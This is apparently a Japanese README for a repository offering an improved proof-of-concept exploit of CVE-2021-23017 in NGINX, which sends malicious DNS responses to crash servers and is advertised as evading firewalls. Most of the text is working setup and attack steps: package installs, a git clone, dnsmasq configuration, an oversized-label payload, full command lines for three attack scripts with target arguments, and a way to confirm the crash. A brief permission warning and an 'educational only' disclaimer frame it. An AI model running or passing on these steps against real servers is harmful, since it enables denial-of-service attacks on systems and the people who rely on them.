
NGINXサーバー(バージョン0.6.18~1.20.0)の脆弱性です。このスクリプトは、悪意のあるDNS応答を送信してサービス拒否(DoS)を引き起こし、ファイアウォールを回避する機能を強化したものです。これはM507/CVE-2021-23017-PoCのオリジナルPoCの改良版です。
警告: システム所有者からの明示的な書面による許可がある場合のみ使用してください。無断でのテストは違法です。
sudo apt-get update
sudo apt-get install python3-scapy dnsmasq
pip3 install scapy requests
git clone https://github.com/6lj/EVIL-CVE-2021-23017-Update-2025.git
cd EVIL-CVE-2021-23017-Update-2025
dnsmasq をセットアップします:
sudo nano /etc/dnsmasq.conf
address=/test.example.com/192.168.1.100
sudo systemctl start dnsmasq
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.test.com)を用いてNGINXサーバーをクラッシュさせます。curl と dig を使用してDNSクエリをトリガーし、脆弱性を悪用します。M507/CVE-2021-23017-PoCと比較して:
poc1.2.3.py で並列プロセスを使用し、スニッフィング、DNS送信、クエリトリガーを同時に行います。3つを一緒に実行する必要があります。3つを一緒に実行し、適切な引数で実行します(<target_ip>、<your_dns_server_ip>、<target_url> を置き換えてください)。
poc.pypython3 poc.py --dns_server <your_dns_server_ip> --iface eth0 --count 50 --target_url http://<target_url>
poc2.pypython3 poc2.py --target <target_ip> --dns_server <your_dns_server_ip> --iface eth0 --count 50 --target_url http://<target_url>
poc3.py(推奨)python3 poc3.py --target <target_ip> --dns_server <your_dns_server_ip> --iface eth0 --target_url http://<target_url>
python3 poc3.py --target 192.168.1.100 --dns_server 192.168.1.101 --iface eth0 --target_url http://192.168.1.100
サーバーのステータスを確認:
curl -I http://<target_url>
502 Bad Gateway または 503 Service Unavailable はサーバークラッシュを示します。200 OK は脆弱性がないか、ファイアウォールにブロックされていることを示します。DNSトラフィックを監視:
sudo wireshark -f "udp port 53"
免責事項: 教育目的のみに使用してください。作者は誤用に対する責任を負いません。